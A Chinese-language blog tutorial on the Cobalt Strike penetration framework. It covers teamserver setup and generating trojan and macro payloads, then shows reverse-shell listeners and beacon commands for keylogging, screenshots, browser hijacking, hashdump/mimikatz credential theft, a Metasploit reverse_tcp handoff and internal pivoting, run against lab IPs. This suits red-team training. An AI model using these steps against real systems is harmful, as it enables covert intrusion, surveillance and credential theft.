渗透神器Cobalt Strike使用教程

2021-12-14 11:12:36 浏览数 (1)

请注意,本文编写于 560 天前,最后修改于 542 天前,其中某些信息可能已经过时。

介绍

Cobalt Strike 一款以metasploit为基础的GUI的框框架式渗透工具,Armitage的商业版,集成了端口发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑,mac os木马生成,钓鱼攻击包括:站点克隆,目标信息获取,java执行,游览器自动攻击等等。

Cobalt Strike采用的是服务器端 客户端的模式,可以支持多客户端同时进行工作

安装环境

点击访问

解压缩文件并移动至/opt

代码语言:javascript复制
tar -xzvf jdk-8u91-linux-x64.tar.gz

mv jdk1.8.0_91 /opt

cd /opt/jdk1.8.0_91

设置环境变量

代码语言:javascript复制
执行 gedit ~/.bashrc , 并添加下列内容

# install JAVA JDK

export JAVA_HOME=/opt/jdk1.8.0_91

export CLASSPATH=.:${JAVA_HOME}/lib

export PATH=${JAVA_HOME}/bin:$PATH

保存退出

执行 source ~/.bashrc

安装并注册

代码语言:javascript复制
update-alternatives --install /usr/bin/java java /opt/jdk1.8.0_91/bin/java 1
update-alternatives --install /usr/bin/javac javac /opt/jdk1.8.0_91/bin/javac 1
update-alternatives --set java /opt/jdk1.8.0_91/bin/java
update-alternatives --set javac /opt/jdk1.8.0_91/bin/javac

测试

输入命令java -version

目录结构

agscript拓展应用的脚本

c2lint 用于检查profile的错误异常

teamserver服务端程序

cobaltstrikecobaltstrike.jar客户端程序(java跨平台)

logs目录记录与目标主机的相关信息

update,update.jar用于更新CS

third-party第三方工具

启动服务端

启动参数 ./teamserver <host> <password> [/path/to/c2.profile] [YYYY-MM-DD]

  1. 必填参数host 本服务器外网IP/域名
  2. 必填参数password Client GUI连接时需要输入的密码
  3. 可选参数Malleable C2 communication profile 指定C2通信配置文件 该功能体现了CS的强大扩展性
  4. 可选参数kill date 指定所有payload的终止日期

这里用 ./teamserver 192.168.0.120(本机ip) 123456(登入密码)

客户端链接

启动CS Client GUI ./cobaltstrike

输入服务端的IP以及端口、密码,用户名可以任意设置。

使用

顶部菜单 主要使用ViewAttack

Cobalt Strike

代码语言:javascript复制
New Connection   #进行另外一个连接,支持连接多个服务器端
Preferences   #设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录。
Visualization   #主要展示输出结果的形式
VPN Interfaces   #设置VPN接口
Listenrs   #创建一个Listener
Script Manager   #脚本管理
Close   #退出连接

View

代码语言:javascript复制
Applications   #显示受害者机器的应用信息
Credentials   #凭证当通过 hashdump 或者 Mimikatz 抓取过的密码都会储存在这里。
Downloads   #下载文件
Event Log   #主机上线记录以及团队协作聊天记录
Keystrokes   #键盘记录
Proxy Pivots   #代理模块
Screenshots   #截图
Script Console   #控制台,在这里可以加载各种脚本 
(https://github.com/rsmudge/cortana-scripts 增强功能)
Targets   #显示目标
Web Log    #Web访问记录

Attacks

Packages
代码语言:javascript复制
HTML Application   #生成恶意的HTA木马文件
MS Office Macro   #生成office宏病毒文件
Payload Generator   #生成各种语言版本的payload
USB/CD AutoPlay   #生成利用自动播放运行的木马文件
Windows Dropper   #捆绑器,能够对文档类进行捆绑
Windows Executable   #生成可执行exe木马
Windows Executable(S)   #生成无状态的可执行exe木马

Web Drive-by

代码语言:javascript复制
Manage   #对开启的web服务进行管理
Clone Site   #克隆网站,可以记录受害者提交的数据
Host File   #提供一个文件下载,可以修改Mime信息
PowerShell Web Delivery   #类似于Metasploit的web_delivery 
Signed Applet Attack   #使用java自签名的程序进行钓鱼攻击
Smart Applet Attack   #自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本
System Profiler   #用来获取一些系统信息,比如系统版本,Flash版本,浏览器版本等
Spear Phish   #用来邮件钓鱼的模块

Reporting

代码语言:javascript复制
activity report   #活动报告
Hosts report   #主机报告
Indicators of Compromise   #目标报告
Sessions report   #会话报告
Social engineering report   #社会工程报告
Export data   #数据出口

help

代码语言:javascript复制
Homepage   #官方主页
Support   #技术支持
Arsenal   #开发者
System information   #版本信息
About   #关于

配置监听器

首先配置监听器:

点击上方Cobalt Strike选项——>在下拉框中选择listeners——>在下方弹出区域中单机add

代码语言:javascript复制
name:为监听器名字。

选择payload类型

host为shell反弹接受主机(服务端IP)

port为反弹端口

监听器的作用很简单,主要是为了接受payload回传的各类数据

比如,我们的payload在目标机器执行以后,会回连到监听器然后下载执行真正的shellcode代码,其实跟msf中handler的作用基本是一致的

beacon 为cs内置监听器,也就是说,当我们在目标系统成功执行payload以后,会弹回一个beacon的shell给cs 该shell所支持的通信协议主要包括这几种,dns,https,http,smbpipe,另外,beacon shell的内置功能也非常多

foreign 主要是提供给外部使用的一些监听器,比如你想利用cs派生一个meterpreter的shell回来,来继续后面的内网渗透,这时就选择使用外部监听器

生成payload

点击attacks——>packages——>windows executable

代码语言:javascript复制
listener为监听器名字

output为输出靶机类型。

点击generate弹出的对话框中选择保存位置和输入payload名字。

在windows靶机中运行文件artifact.exe

得到反弹shell

主机上线以后需要将默认心跳包改成0,cobalt strike为了维持连接,会每60秒发送一次连接,但是如果使用的话60秒会造成卡顿。

修改方法:右键弹出的内容下拉菜单中选择session->sleep,弹出的对话框中输入0,单击确定

beacon模块之shell命令

格式 shell 命令

其它命令

代码语言:javascript复制
help 查看beacon shell所有内置命令帮助,如果想查看指定命令的用法,可以这样help upload

note 给当前目录机器起个名字,  note beacon-shell

cd 在目标系统中切换目录,注意在win系统中切换目录要用双反斜杠,或者直接用'/'  cd c:

mkdir 新建目录,  mkdir d:beacon

rm 删除文件或目录,  rm d:beacon

upload 上传文件到目标系统中

download 从目标系统下载指定文件, download C:Userswin7cnDesktopputty.exe

cancel 取消下载任务,比如,一个文件如果特别大,下载可能会非常耗时,假如中途你不想继续下了,就可以用这个取消一下

shell 在目标系统中执行指定的cmd命令, shell whoami

getuid 查看当前beacon 会话在目标系统中的用户权限,可能需要bypassuac或者提权

pwd 查看当前在目录系统中的路径

ls 列出当前目录下的所有文件和目录

drives 列表出目标系统的所有分区[win中叫盘符]

ps 查看目标系统当前的所有的进程列表

kill 杀掉指定进程,  kill 4653

sleep 10 指定被控端休眠时间,默认60秒一次回传,让被控端每10秒来下载一次任务,实际中频率不宜过快,容易被发现,80左右一次即可

jobs 列出所有的任务列表,有些任务执行时间可能稍微较长,此时就可以从任务列表中看到其所对应的具体任务id,针对性的清除

jobkill 如果发现任务不知是何原因长时间没有执行或者异常,可尝试用此命令直接结束该任务,  jobkill 1345

clear 清除beacon内部的任务队列

checkin 强制让被控端回连一次

exit 终止当前beacon 会话

ctrl   k 清屏

beacon模块之browserpivot命令

用户注入受害者浏览器进程,然后开启HTTP代理,之后就可以登录受害者登录的网站了

官方说暂时只对IE好使,而且还不稳定,成功率一半一半吧,

代码语言:javascript复制
ps     //查看进程,这里进程为1676
代码语言:javascript复制
browserpivot  1676    //注入进程,并开启http代理,代理服务器为: 192.168.0.120:2110
代码语言:javascript复制
browserpivot   stop    //停止代理

beacon模块之Screenshot

代码语言:javascript复制
screenshot    //运行屏幕截屏命令
代码语言:javascript复制
screenshot 10 截取10秒 //可能会造成目标系统有很明显的卡顿

然后打开View->Screenshots,则可以看到屏幕截图

beacon模块之Keylogger

代码语言:javascript复制
ps          //查看系统进程,随便选择一个程序的进程PID  
 
keylogger PID  //键盘记录注入进程

打开View->Keystrokes,则可以看到键盘记录结果

beacon模块之密码读取

代码语言:javascript复制
hashdump   //读取账号hash密码值,需要administer权限,右击受害者主机--access-hashdump
代码语言:javascript复制
logonpasswords  //运行mimikatz, 右击受害者主机--access- RUN mimikatz

Cobalt Strike与msf的配合使用

在msf执行

代码语言:javascript复制
 use exploit/multi/handler
 
 set payload windows/meterpreter/reverse_tcp
 
 set lhost 192.168.0.120(本机ip)
 
 set lport 4444

 exploit

在Cobalt Strik中执行,先添加一个监听命令,名称为:msf payload选择:windows/foreign/reverse_tcp 监听端口:4444

选择受害者主机,然后右击Spawn

成功反弹

灵活穿透目标内网

对目标机器所在的内网进行常规端口扫描,指定ip段,指定用于扫描的协议暂只支持arp,icmp,tcp,指定线程

代码语言:javascript复制
portscan 192.168.0.114 22 arp 10
利用beacon shell连接内网中的linux机器
代码语言:javascript复制
ssh ip 账号 密码

通过powershell来增强cs的实用性

在beacon shell中导入外部ps脚本到远程机器上
代码语言:javascript复制
powershell-import /root/test.ps1 //导入各种powershell脚本,这里可以导入nishang模块


powershell  posershell脚本名
在beacon shell中直接执行powershell代码
代码语言:javascript复制
powerpick Get-Host

版权属于:Xcnte' s Blog(除特别注明外)

本文链接:https://cloud.tencent.com/developer/article/1918403

本站文章采用 知识共享署名4.0 国际许可协议 进行许可,请在转载时注明出处及本声明!

0 人点赞